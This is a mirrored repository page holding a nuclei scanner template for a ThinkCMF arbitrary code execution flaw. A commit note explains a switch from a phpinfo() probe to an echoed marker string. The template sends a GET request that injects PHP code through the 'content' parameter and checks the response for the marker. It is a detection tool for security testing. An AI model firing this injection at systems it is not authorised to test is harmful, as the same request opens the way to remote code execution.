mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-08 19:53:15 +08:00
While testing I got a false positive. The `phpinfo();` was one `index.php` and any parameter appended did not affect the output. So I got a false positive because the template tests for `phpinfo();`. So I propose that the test string is updated to something random and if there is execution the string will show on the output.
26 lines
499 B
YAML
26 lines
499 B
YAML
id: thinkcmf-arbitrary-code-execution
|
|
|
|
info:
|
|
name: ThinkCMF Arbitrary code execution
|
|
author: pikpikcu
|
|
severity: high
|
|
reference:
|
|
- https://www.shuzhiduo.com/A/l1dygr36Je/
|
|
tags: thinkcmf
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20'TestVuln';"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "TestVuln"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|